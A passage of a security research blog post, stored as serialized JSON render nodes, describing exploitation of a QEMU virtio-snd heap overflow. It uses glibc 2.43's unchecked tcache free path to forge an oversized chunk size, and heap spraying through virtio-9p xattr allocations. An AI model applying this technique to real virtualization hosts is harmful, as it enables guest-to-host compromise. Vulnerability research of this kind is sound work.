",{"type":25,"tag":216,"props":130790,"children":130791},{"style":6947},[130792],{"type":31,"value":266},{"type":25,"tag":216,"props":130794,"children":130795},{"style":7041},[130796],{"type":31,"value":130797}," chunksize",{"type":25,"tag":216,"props":130799,"children":130800},{"style":6958},[130801],{"type":31,"value":130516},{"type":25,"tag":216,"props":130803,"children":130804},{"class":6916,"line":7238},[130805],{"type":25,"tag":216,"props":130806,"children":130807},{"emptyLinePlaceholder":16},[130808],{"type":31,"value":7636},{"type":25,"tag":216,"props":130810,"children":130811},{"class":6916,"line":7251},[130812],{"type":25,"tag":216,"props":130813,"children":130814},{"style":6921},[130815],{"type":31,"value":130816},"  /* Little security check which won't hurt performance: the\n",{"type":25,"tag":216,"props":130818,"children":130819},{"class":6916,"line":7269},[130820],{"type":25,"tag":216,"props":130821,"children":130822},{"style":6921},[130823],{"type":31,"value":130824},"     allocator never wraps around at the end of the address space.\n",{"type":25,"tag":216,"props":130826,"children":130827},{"class":6916,"line":7290},[130828],{"type":25,"tag":216,"props":130829,"children":130830},{"style":6921},[130831],{"type":31,"value":130832},"     Therefore we can exclude some size values which might appear\n",{"type":25,"tag":216,"props":130834,"children":130835},{"class":6916,"line":7299},[130836],{"type":25,"tag":216,"props":130837,"children":130838},{"style":6921},[130839],{"type":31,"value":130840},"     here by accident or by \"design\" from some intruder.  */\n",{"type":25,"tag":216,"props":130842,"children":130843},{"class":6916,"line":7551},[130844,130848,130852,130857,130862,130867,130872,130876,130880,130884,130888,130892,130897,130901],{"type":25,"tag":216,"props":130845,"children":130846},{"style":6967},[130847],{"type":31,"value":35350},{"type":25,"tag":216,"props":130849,"children":130850},{"style":6958},[130851],{"type":31,"value":7010},{"type":25,"tag":216,"props":130853,"children":130854},{"style":7041},[130855],{"type":31,"value":130856},"__builtin_expect",{"type":25,"tag":216,"props":130858,"children":130859},{"style":6958},[130860],{"type":31,"value":130861}," ((",{"type":25,"tag":216,"props":130863,"children":130864},{"style":6930},[130865],{"type":31,"value":130866},"uintptr_t",{"type":25,"tag":216,"props":130868,"children":130869},{"style":6958},[130870],{"type":31,"value":130871},") p ",{"type":25,"tag":216,"props":130873,"children":130874},{"style":6947},[130875],{"type":31,"value":5896},{"type":25,"tag":216,"props":130877,"children":130878},{"style":6958},[130879],{"type":31,"value":7010},{"type":25,"tag":216,"props":130881,"children":130882},{"style":6930},[130883],{"type":31,"value":130866},{"type":25,"tag":216,"props":130885,"children":130886},{"style":6958},[130887],{"type":31,"value":7030},{"type":25,"tag":216,"props":130889,"children":130890},{"style":6947},[130891],{"type":31,"value":8270},{"type":25,"tag":216,"props":130893,"children":130894},{"style":6958},[130895],{"type":31,"value":130896},"size, ",{"type":25,"tag":216,"props":130898,"children":130899},{"style":6983},[130900],{"type":31,"value":1876},{"type":25,"tag":216,"props":130902,"children":130903},{"style":6958},[130904],{"type":31,"value":7101},{"type":25,"tag":216,"props":130906,"children":130907},{"class":6916,"line":7568},[130908,130913,130918,130922,130927,130932,130936],{"type":25,"tag":216,"props":130909,"children":130910},{"style":6947},[130911],{"type":31,"value":130912},"      ||",{"type":25,"tag":216,"props":130914,"children":130915},{"style":7041},[130916],{"type":31,"value":130917}," __builtin_expect",{"type":25,"tag":216,"props":130919,"children":130920},{"style":6958},[130921],{"type":31,"value":7010},{"type":25,"tag":216,"props":130923,"children":130924},{"style":7041},[130925],{"type":31,"value":130926},"misaligned_chunk",{"type":25,"tag":216,"props":130928,"children":130929},{"style":6958},[130930],{"type":31,"value":130931}," (p), ",{"type":25,"tag":216,"props":130933,"children":130934},{"style":6983},[130935],{"type":31,"value":1876},{"type":25,"tag":216,"props":130937,"children":130938},{"style":6958},[130939],{"type":31,"value":23666},{"type":25,"tag":216,"props":130941,"children":130942},{"class":6916,"line":7585},[130943,130948,130952,130957],{"type":25,"tag":216,"props":130944,"children":130945},{"style":7041},[130946],{"type":31,"value":130947},"    malloc_printerr",{"type":25,"tag":216,"props":130949,"children":130950},{"style":6958},[130951],{"type":31,"value":7010},{"type":25,"tag":216,"props":130953,"children":130954},{"style":8199},[130955],{"type":31,"value":130956},"\"free(): invalid pointer\"",{"type":25,"tag":216,"props":130958,"children":130959},{"style":6958},[130960],{"type":31,"value":7791},{"type":25,"tag":216,"props":130962,"children":130963},{"class":6916,"line":7598},[130964],{"type":25,"tag":216,"props":130965,"children":130966},{"style":6921},[130967],{"type":31,"value":130968},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":25,"tag":216,"props":130970,"children":130971},{"class":6916,"line":7607},[130972],{"type":25,"tag":216,"props":130973,"children":130974},{"style":6921},[130975],{"type":31,"value":130976},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":25,"tag":216,"props":130978,"children":130979},{"class":6916,"line":7630},[130980,130984,130988,130993,130998,131002,131007,131011,131015,131020],{"type":25,"tag":216,"props":130981,"children":130982},{"style":6967},[130983],{"type":31,"value":35350},{"type":25,"tag":216,"props":130985,"children":130986},{"style":6958},[130987],{"type":31,"value":7010},{"type":25,"tag":216,"props":130989,"children":130990},{"style":7041},[130991],{"type":31,"value":130992},"__glibc_unlikely",{"type":25,"tag":216,"props":130994,"children":130995},{"style":6958},[130996],{"type":31,"value":130997}," (size ",{"type":25,"tag":216,"props":130999,"children":131000},{"style":6947},[131001],{"type":31,"value":9751},{"type":25,"tag":216,"props":131003,"children":131004},{"style":6958},[131005],{"type":31,"value":131006}," MINSIZE ",{"type":25,"tag":216,"props":131008,"children":131009},{"style":6947},[131010],{"type":31,"value":26358},{"type":25,"tag":216,"props":131012,"children":131013},{"style":6947},[131014],{"type":31,"value":16814},{"type":25,"tag":216,"props":131016,"children":131017},{"style":7041},[131018],{"type":31,"value":131019},"aligned_OK",{"type":25,"tag":216,"props":131021,"children":131022},{"style":6958},[131023],{"type":31,"value":131024}," (size)))\n",{"type":25,"tag":216,"props":131026,"children":131027},{"class":6916,"line":7639},[131028,131032,131036,131041],{"type":25,"tag":216,"props":131029,"children":131030},{"style":7041},[131031],{"type":31,"value":130947},{"type":25,"tag":216,"props":131033,"children":131034},{"style":6958},[131035],{"type":31,"value":7010},{"type":25,"tag":216,"props":131037,"children":131038},{"style":8199},[131039],{"type":31,"value":131040},"\"free(): invalid size\"",{"type":25,"tag":216,"props":131042,"children":131043},{"style":6958},[131044],{"type":31,"value":7791},{"type":25,"tag":216,"props":131046,"children":131047},{"class":6916,"line":7648},[131048],{"type":25,"tag":216,"props":131049,"children":131050},{"emptyLinePlaceholder":16},[131051],{"type":31,"value":7636},{"type":25,"tag":216,"props":131053,"children":131054},{"class":6916,"line":7716},[131055,131060],{"type":25,"tag":216,"props":131056,"children":131057},{"style":7041},[131058],{"type":31,"value":131059},"  check_inuse_chunk",{"type":25,"tag":216,"props":131061,"children":131062},{"style":6958},[131063],{"type":31,"value":131064},"(av, p);\n",{"type":25,"tag":216,"props":131066,"children":131067},{"class":6916,"line":7724},[131068],{"type":25,"tag":216,"props":131069,"children":131070},{"emptyLinePlaceholder":16},[131071],{"type":31,"value":7636},{"type":25,"tag":216,"props":131073,"children":131074},{"class":6916,"line":7754},[131075],{"type":25,"tag":216,"props":131076,"children":131077},{"style":6958},[131078],{"type":31,"value":131079},"  [...]\n",{"type":25,"tag":38,"props":131081,"children":131082},{},[131083],{"type":31,"value":131084},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":25,"tag":38,"props":131086,"children":131087},{},[131088,131090,131095,131097,131102,131104,131109,131111,131116],{"type":31,"value":131089},"The next check, however, ensures that the ",{"type":25,"tag":82,"props":131091,"children":131093},{"className":131092},[],[131094],{"type":31,"value":128186},{"type":31,"value":131096}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":25,"tag":82,"props":131098,"children":131100},{"className":131099},[],[131101],{"type":31,"value":128186},{"type":31,"value":131103}," must preserve alignment while also avoiding the ",{"type":25,"tag":82,"props":131105,"children":131107},{"className":131106},[],[131108],{"type":31,"value":130355},{"type":31,"value":131110}," bit. Under those constraints, exploiting the bug through ",{"type":25,"tag":82,"props":131112,"children":131114},{"className":131113},[],[131115],{"type":31,"value":128186},{"type":31,"value":131117}," corruption looked very unreliable at first.",{"type":25,"tag":38,"props":131119,"children":131120},{},[131121],{"type":31,"value":131122},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":25,"tag":206,"props":131124,"children":131126},{"code":131125,"language":2248,"meta":7,"className":20467,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[131127],{"type":25,"tag":82,"props":131128,"children":131129},{"__ignoreMap":7},[131130,131138,131165,131172,131179,131186,131205,131212,131232,131239,131267,131291,131298,131311,131353,131360,131368,131375,131392],{"type":25,"tag":216,"props":131131,"children":131132},{"class":6916,"line":6917},[131133],{"type":25,"tag":216,"props":131134,"children":131135},{"style":6930},[131136],{"type":31,"value":131137},"void\n",{"type":25,"tag":216,"props":131139,"children":131140},{"class":6916,"line":6763},[131141,131145,131149,131153,131157,131161],{"type":25,"tag":216,"props":131142,"children":131143},{"style":7041},[131144],{"type":31,"value":130403},{"type":25,"tag":216,"props":131146,"children":131147},{"style":6958},[131148],{"type":31,"value":7010},{"type":25,"tag":216,"props":131150,"children":131151},{"style":6930},[131152],{"type":31,"value":55589},{"type":25,"tag":216,"props":131154,"children":131155},{"style":6947},[131156],{"type":31,"value":13767},{"type":25,"tag":216,"props":131158,"children":131159},{"style":6941},[131160],{"type":31,"value":44622},{"type":25,"tag":216,"props":131162,"children":131163},{"style":6958},[131164],{"type":31,"value":7101},{"type":25,"tag":216,"props":131166,"children":131167},{"class":6916,"line":6772},[131168],{"type":25,"tag":216,"props":131169,"children":131170},{"style":6958},[131171],{"type":31,"value":14830},{"type":25,"tag":216,"props":131173,"children":131174},{"class":6916,"line":6999},[131175],{"type":25,"tag":216,"props":131176,"children":131177},{"style":6958},[131178],{"type":31,"value":130446},{"type":25,"tag":216,"props":131180,"children":131181},{"class":6916,"line":7104},[131182],{"type":25,"tag":216,"props":131183,"children":131184},{"emptyLinePlaceholder":16},[131185],{"type":31,"value":7636},{"type":25,"tag":216,"props":131187,"children":131188},{"class":6916,"line":7210},[131189,131193,131197,131201],{"type":25,"tag":216,"props":131190,"children":131191},{"style":6958},[131192],{"type":31,"value":130461},{"type":25,"tag":216,"props":131194,"children":131195},{"style":6947},[131196],{"type":31,"value":266},{"type":25,"tag":216,"props":131198,"children":131199},{"style":7041},[131200],{"type":31,"value":130470},{"type":25,"tag":216,"props":131202,"children":131203},{"style":6958},[131204],{"type":31,"value":130475},{"type":25,"tag":216,"props":131206,"children":131207},{"class":6916,"line":7238},[131208],{"type":25,"tag":216,"props":131209,"children":131210},{"emptyLinePlaceholder":16},[131211],{"type":31,"value":7636},{"type":25,"tag":216,"props":131213,"children":131214},{"class":6916,"line":7251},[131215,131220,131224,131228],{"type":25,"tag":216,"props":131216,"children":131217},{"style":6958},[131218],{"type":31,"value":131219},"  INTERNAL_SIZE_T size ",{"type":25,"tag":216,"props":131221,"children":131222},{"style":6947},[131223],{"type":31,"value":266},{"type":25,"tag":216,"props":131225,"children":131226},{"style":7041},[131227],{"type":31,"value":130797},{"type":25,"tag":216,"props":131229,"children":131230},{"style":6958},[131231],{"type":31,"value":130516},{"type":25,"tag":216,"props":131233,"children":131234},{"class":6916,"line":7269},[131235],{"type":25,"tag":216,"props":131236,"children":131237},{"emptyLinePlaceholder":16},[131238],{"type":31,"value":7636},{"type":25,"tag":216,"props":131240,"children":131241},{"class":6916,"line":7290},[131242,131246,131250,131254,131258,131262],{"type":25,"tag":216,"props":131243,"children":131244},{"style":6967},[131245],{"type":31,"value":35350},{"type":25,"tag":216,"props":131247,"children":131248},{"style":6958},[131249],{"type":31,"value":7010},{"type":25,"tag":216,"props":131251,"children":131252},{"style":7041},[131253],{"type":31,"value":130992},{"type":25,"tag":216,"props":131255,"children":131256},{"style":6958},[131257],{"type":31,"value":7010},{"type":25,"tag":216,"props":131259,"children":131260},{"style":7041},[131261],{"type":31,"value":130926},{"type":25,"tag":216,"props":131263,"children":131264},{"style":6958},[131265],{"type":31,"value":131266}," (p)))\n",{"type":25,"tag":216,"props":131268,"children":131269},{"class":6916,"line":7299},[131270,131274,131279,131283,131287],{"type":25,"tag":216,"props":131271,"children":131272},{"style":6967},[131273],{"type":31,"value":20941},{"type":25,"tag":216,"props":131275,"children":131276},{"style":7041},[131277],{"type":31,"value":131278}," malloc_printerr_tail",{"type":25,"tag":216,"props":131280,"children":131281},{"style":6958},[131282],{"type":31,"value":7010},{"type":25,"tag":216,"props":131284,"children":131285},{"style":8199},[131286],{"type":31,"value":130956},{"type":25,"tag":216,"props":131288,"children":131289},{"style":6958},[131290],{"type":31,"value":7791},{"type":25,"tag":216,"props":131292,"children":131293},{"class":6916,"line":7551},[131294],{"type":25,"tag":216,"props":131295,"children":131296},{"emptyLinePlaceholder":16},[131297],{"type":31,"value":7636},{"type":25,"tag":216,"props":131299,"children":131300},{"class":6916,"line":7568},[131301,131306],{"type":25,"tag":216,"props":131302,"children":131303},{"style":6967},[131304],{"type":31,"value":131305},"#if",{"type":25,"tag":216,"props":131307,"children":131308},{"style":7041},[131309],{"type":31,"value":131310}," USE_TCACHE\n",{"type":25,"tag":216,"props":131312,"children":131313},{"class":6916,"line":7585},[131314,131318,131322,131327,131331,131335,131340,131344,131349],{"type":25,"tag":216,"props":131315,"children":131316},{"style":6967},[131317],{"type":31,"value":35350},{"type":25,"tag":216,"props":131319,"children":131320},{"style":6958},[131321],{"type":31,"value":7010},{"type":25,"tag":216,"props":131323,"children":131324},{"style":7041},[131325],{"type":31,"value":131326},"__glibc_likely",{"type":25,"tag":216,"props":131328,"children":131329},{"style":6958},[131330],{"type":31,"value":130997},{"type":25,"tag":216,"props":131332,"children":131333},{"style":6947},[131334],{"type":31,"value":9751},{"type":25,"tag":216,"props":131336,"children":131337},{"style":6941},[131338],{"type":31,"value":131339}," mp_",{"type":25,"tag":216,"props":131341,"children":131342},{"style":6958},[131343],{"type":31,"value":179},{"type":25,"tag":216,"props":131345,"children":131346},{"style":6941},[131347],{"type":31,"value":131348},"tcache_max_bytes",{"type":25,"tag":216,"props":131350,"children":131351},{"style":6958},[131352],{"type":31,"value":23666},{"type":25,"tag":216,"props":131354,"children":131355},{"class":6916,"line":7598},[131356],{"type":25,"tag":216,"props":131357,"children":131358},{"style":6958},[131359],{"type":31,"value":33141},{"type":25,"tag":216,"props":131361,"children":131362},{"class":6916,"line":7607},[131363],{"type":25,"tag":216,"props":131364,"children":131365},{"style":6958},[131366],{"type":31,"value":131367},"      [...]\n",{"type":25,"tag":216,"props":131369,"children":131370},{"class":6916,"line":7630},[131371],{"type":25,"tag":216,"props":131372,"children":131373},{"emptyLinePlaceholder":16},[131374],{"type":31,"value":7636},{"type":25,"tag":216,"props":131376,"children":131377},{"class":6916,"line":7639},[131378,131382,131387],{"type":25,"tag":216,"props":131379,"children":131380},{"style":6967},[131381],{"type":31,"value":43314},{"type":25,"tag":216,"props":131383,"children":131384},{"style":7041},[131385],{"type":31,"value":131386}," tcache_put",{"type":25,"tag":216,"props":131388,"children":131389},{"style":6958},[131390],{"type":31,"value":131391}," (p, tc_idx);\n",{"type":25,"tag":216,"props":131393,"children":131394},{"class":6916,"line":7648},[131395],{"type":25,"tag":216,"props":131396,"children":131397},{"style":6958},[131398],{"type":31,"value":7305},{"type":25,"tag":38,"props":131400,"children":131401},{},[131402,131404,131409],{"type":31,"value":131403},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":25,"tag":82,"props":131405,"children":131407},{"className":131406},[],[131408],{"type":31,"value":128186},{"type":31,"value":131410}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":25,"tag":38,"props":131412,"children":131413},{},[131414,131416,131422,131423,131428],{"type":31,"value":131415},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":25,"tag":82,"props":131417,"children":131419},{"className":131418},[],[131420],{"type":31,"value":131421},"check_inuse_chunk",{"type":31,"value":7010},{"type":25,"tag":82,"props":131424,"children":131426},{"className":131425},[],[131427],{"type":31,"value":128314},{"type":31,"value":27897},{"type":25,"tag":206,"props":131430,"children":131432},{"code":131431,"language":2248,"meta":7,"className":20467,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[131433],{"type":25,"tag":82,"props":131434,"children":131435},{"__ignoreMap":7},[131436,131443,131470,131477,131484,131491,131510,131517,131536,131543,131570,131593,131600,131626,131633,131644,131701],{"type":25,"tag":216,"props":131437,"children":131438},{"class":6916,"line":6917},[131439],{"type":25,"tag":216,"props":131440,"children":131441},{"style":6930},[131442],{"type":31,"value":131137},{"type":25,"tag":216,"props":131444,"children":131445},{"class":6916,"line":6763},[131446,131450,131454,131458,131462,131466],{"type":25,"tag":216,"props":131447,"children":131448},{"style":7041},[131449],{"type":31,"value":130403},{"type":25,"tag":216,"props":131451,"children":131452},{"style":6958},[131453],{"type":31,"value":7010},{"type":25,"tag":216,"props":131455,"children":131456},{"style":6930},[131457],{"type":31,"value":55589},{"type":25,"tag":216,"props":131459,"children":131460},{"style":6947},[131461],{"type":31,"value":13767},{"type":25,"tag":216,"props":131463,"children":131464},{"style":6941},[131465],{"type":31,"value":44622},{"type":25,"tag":216,"props":131467,"children":131468},{"style":6958},[131469],{"type":31,"value":7101},{"type":25,"tag":216,"props":131471,"children":131472},{"class":6916,"line":6772},[131473],{"type":25,"tag":216,"props":131474,"children":131475},{"style":6958},[131476],{"type":31,"value":14830},{"type":25,"tag":216,"props":131478,"children":131479},{"class":6916,"line":6999},[131480],{"type":25,"tag":216,"props":131481,"children":131482},{"style":6958},[131483],{"type":31,"value":130446},{"type":25,"tag":216,"props":131485,"children":131486},{"class":6916,"line":7104},[131487],{"type":25,"tag":216,"props":131488,"children":131489},{"emptyLinePlaceholder":16},[131490],{"type":31,"value":7636},{"type":25,"tag":216,"props":131492,"children":131493},{"class":6916,"line":7210},[131494,131498,131502,131506],{"type":25,"tag":216,"props":131495,"children":131496},{"style":6958},[131497],{"type":31,"value":130461},{"type":25,"tag":216,"props":131499,"children":131500},{"style":6947},[131501],{"type":31,"value":266},{"type":25,"tag":216,"props":131503,"children":131504},{"style":7041},[131505],{"type":31,"value":130470},{"type":25,"tag":216,"props":131507,"children":131508},{"style":6958},[131509],{"type":31,"value":130475},{"type":25,"tag":216,"props":131511,"children":131512},{"class":6916,"line":7238},[131513],{"type":25,"tag":216,"props":131514,"children":131515},{"emptyLinePlaceholder":16},[131516],{"type":31,"value":7636},{"type":25,"tag":216,"props":131518,"children":131519},{"class":6916,"line":7251},[131520,131524,131528,131532],{"type":25,"tag":216,"props":131521,"children":131522},{"style":6958},[131523],{"type":31,"value":131219},{"type":25,"tag":216,"props":131525,"children":131526},{"style":6947},[131527],{"type":31,"value":266},{"type":25,"tag":216,"props":131529,"children":131530},{"style":7041},[131531],{"type":31,"value":130797},{"type":25,"tag":216,"props":131533,"children":131534},{"style":6958},[131535],{"type":31,"value":130516},{"type":25,"tag":216,"props":131537,"children":131538},{"class":6916,"line":7269},[131539],{"type":25,"tag":216,"props":131540,"children":131541},{"emptyLinePlaceholder":16},[131542],{"type":31,"value":7636},{"type":25,"tag":216,"props":131544,"children":131545},{"class":6916,"line":7290},[131546,131550,131554,131558,131562,131566],{"type":25,"tag":216,"props":131547,"children":131548},{"style":6967},[131549],{"type":31,"value":35350},{"type":25,"tag":216,"props":131551,"children":131552},{"style":6958},[131553],{"type":31,"value":7010},{"type":25,"tag":216,"props":131555,"children":131556},{"style":7041},[131557],{"type":31,"value":130992},{"type":25,"tag":216,"props":131559,"children":131560},{"style":6958},[131561],{"type":31,"value":7010},{"type":25,"tag":216,"props":131563,"children":131564},{"style":7041},[131565],{"type":31,"value":130926},{"type":25,"tag":216,"props":131567,"children":131568},{"style":6958},[131569],{"type":31,"value":131266},{"type":25,"tag":216,"props":131571,"children":131572},{"class":6916,"line":7299},[131573,131577,131581,131585,131589],{"type":25,"tag":216,"props":131574,"children":131575},{"style":6967},[131576],{"type":31,"value":20941},{"type":25,"tag":216,"props":131578,"children":131579},{"style":7041},[131580],{"type":31,"value":131278},{"type":25,"tag":216,"props":131582,"children":131583},{"style":6958},[131584],{"type":31,"value":7010},{"type":25,"tag":216,"props":131586,"children":131587},{"style":8199},[131588],{"type":31,"value":130956},{"type":25,"tag":216,"props":131590,"children":131591},{"style":6958},[131592],{"type":31,"value":7791},{"type":25,"tag":216,"props":131594,"children":131595},{"class":6916,"line":7551},[131596],{"type":25,"tag":216,"props":131597,"children":131598},{"emptyLinePlaceholder":16},[131599],{"type":31,"value":7636},{"type":25,"tag":216,"props":131601,"children":131602},{"class":6916,"line":7568},[131603,131607,131611,131616,131621],{"type":25,"tag":216,"props":131604,"children":131605},{"style":7041},[131606],{"type":31,"value":131059},{"type":25,"tag":216,"props":131608,"children":131609},{"style":6958},[131610],{"type":31,"value":7010},{"type":25,"tag":216,"props":131612,"children":131613},{"style":7041},[131614],{"type":31,"value":131615},"arena_for_chunk",{"type":25,"tag":216,"props":131617,"children":131618},{"style":6958},[131619],{"type":31,"value":131620}," (p), p);",{"type":25,"tag":216,"props":131622,"children":131623},{"style":6921},[131624],{"type":31,"value":131625},"             // [1]\n",{"type":25,"tag":216,"props":131627,"children":131628},{"class":6916,"line":7585},[131629],{"type":25,"tag":216,"props":131630,"children":131631},{"emptyLinePlaceholder":16},[131632],{"type":31,"value":7636},{"type":25,"tag":216,"props":131634,"children":131635},{"class":6916,"line":7598},[131636,131640],{"type":25,"tag":216,"props":131637,"children":131638},{"style":6967},[131639],{"type":31,"value":131305},{"type":25,"tag":216,"props":131641,"children":131642},{"style":7041},[131643],{"type":31,"value":131310},{"type":25,"tag":216,"props":131645,"children":131646},{"class":6916,"line":7607},[131647,131651,131655,131659,131663,131667,131671,131675,131679,131683,131688,131692,131697],{"type":25,"tag":216,"props":131648,"children":131649},{"style":6967},[131650],{"type":31,"value":35350},{"type":25,"tag":216,"props":131652,"children":131653},{"style":6958},[131654],{"type":31,"value":7010},{"type":25,"tag":216,"props":131656,"children":131657},{"style":7041},[131658],{"type":31,"value":131326},{"type":25,"tag":216,"props":131660,"children":131661},{"style":6958},[131662],{"type":31,"value":130997},{"type":25,"tag":216,"props":131664,"children":131665},{"style":6947},[131666],{"type":31,"value":9751},{"type":25,"tag":216,"props":131668,"children":131669},{"style":6941},[131670],{"type":31,"value":131339},{"type":25,"tag":216,"props":131672,"children":131673},{"style":6958},[131674],{"type":31,"value":179},{"type":25,"tag":216,"props":131676,"children":131677},{"style":6941},[131678],{"type":31,"value":131348},{"type":25,"tag":216,"props":131680,"children":131681},{"style":6947},[131682],{"type":31,"value":18136},{"type":25,"tag":216,"props":131684,"children":131685},{"style":6958},[131686],{"type":31,"value":131687}," tcache ",{"type":25,"tag":216,"props":131689,"children":131690},{"style":6947},[131691],{"type":31,"value":19640},{"type":25,"tag":216,"props":131693,"children":131694},{"style":6930},[131695],{"type":31,"value":131696}," NULL",{"type":25,"tag":216,"props":131698,"children":131699},{"style":6958},[131700],{"type":31,"value":23666},{"type":25,"tag":216,"props":131702,"children":131703},{"class":6916,"line":7630},[131704],{"type":25,"tag":216,"props":131705,"children":131706},{"style":6958},[131707],{"type":31,"value":131079},{"type":25,"tag":38,"props":131709,"children":131710},{},[131711,131713,131718],{"type":31,"value":131712},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":25,"tag":82,"props":131714,"children":131716},{"className":131715},[],[131717],{"type":31,"value":128186},{"type":31,"value":131719},", because on the latest 2.43 glibc they are non-existent.",{"type":25,"tag":22747,"props":131721,"children":131722},{},[],{"type":25,"tag":38,"props":131724,"children":131725},{},[131726,131728,131733,131735,131741,131743,131748,131750,131756],{"type":31,"value":131727},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":25,"tag":82,"props":131729,"children":131731},{"className":131730},[],[131732],{"type":31,"value":128186},{"type":31,"value":131734}," field was initially ",{"type":25,"tag":82,"props":131736,"children":131738},{"className":131737},[],[131739],{"type":31,"value":131740},"0x200",{"type":31,"value":131742},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":25,"tag":82,"props":131744,"children":131746},{"className":131745},[],[131747],{"type":31,"value":130363},{"type":31,"value":131749},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":25,"tag":82,"props":131751,"children":131753},{"className":131752},[],[131754],{"type":31,"value":131755},"[0x210, 0x2f0]",{"type":31,"value":131757},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":25,"tag":38,"props":131759,"children":131760},{},[131761],{"type":31,"value":131762},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":25,"tag":607,"props":131764,"children":131766},{"id":131765},"heap-spraying",[131767],{"type":31,"value":131768},"Heap Spraying",{"type":25,"tag":38,"props":131770,"children":131771},{},[131772,131774,131779],{"type":31,"value":131773},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":25,"tag":82,"props":131775,"children":131777},{"className":131776},[],[131778],{"type":31,"value":131740},{"type":31,"value":131780},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":25,"tag":38,"props":131782,"children":131783},{},[131784,131786,131791],{"type":31,"value":131785},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":25,"tag":82,"props":131787,"children":131789},{"className":131788},[],[131790],{"type":31,"value":128381},{"type":31,"value":131792}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":25,"tag":38,"props":131794,"children":131795},{},[131796],{"type":31,"value":131797},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":25,"tag":631,"props":131799,"children":131801},{"id":131800},"virtio-9p",[131802],{"type":31,"value":131800},{"type":25,"tag":38,"props":131804,"children":131805},{},[131806,131811],{"type":25,"tag":82,"props":131807,"children":131809},{"className":131808},[],[131810],{"type":31,"value":131800},{"type":31,"value":131812}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":25,"tag":38,"props":131814,"children":131815},{},[131816,131818,131824,131826,131832,131833,131839,131841,131846],{"type":31,"value":131817},"Through a ",{"type":25,"tag":82,"props":131819,"children":131821},{"className":131820},[],[131822],{"type":31,"value":131823},"P9_TXATTRCREATE",{"type":31,"value":131825}," request, we can allocate host-side buffers for both the ",{"type":25,"tag":82,"props":131827,"children":131829},{"className":131828},[],[131830],{"type":31,"value":131831},".name",{"type":31,"value":1301},{"type":25,"tag":82,"props":131834,"children":131836},{"className":131835},[],[131837],{"type":31,"value":131838},".value",{"type":31,"value":131840}," fields, with the size of ",{"type":25,"tag":82,"props":131842,"children":131844},{"className":131843},[],[131845],{"type":31,"value":131838},{"type":31,"value":131847}," being directly controlled by the guest.",{"type":25,"tag":206,"props":131849,"children":131851},{"code":131850,"language":2248,"meta":7,"className":20467,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[131852],{"type":25,"tag":82,"props":131853,"children":131854},{"__ignoreMap":7},[131855,131897,131904,131928,131941,131952,131977,131985,132010,132027,132043,132069,132076,132097,132163,132187,132200,132207,132214,132221,132228,132248,132269,132280,132287,132294,132301,132308,132357,132413,132458],{"type":25,"tag":216,"props":131856,"children":131857},{"class":6916,"line":6917},[131858,131862,131866,131871,131876,131880,131884,131888,131893],{"type":25,"tag":216,"props":131859,"children":131860},{"style":6930},[131861],{"type":31,"value":55007},{"type":25,"tag":216,"props":131863,"children":131864},{"style":6930},[131865],{"type":31,"value":55012},{"type":25,"tag":216,"props":131867,"children":131868},{"style":6958},[131869],{"type":31,"value":131870}," coroutine_fn 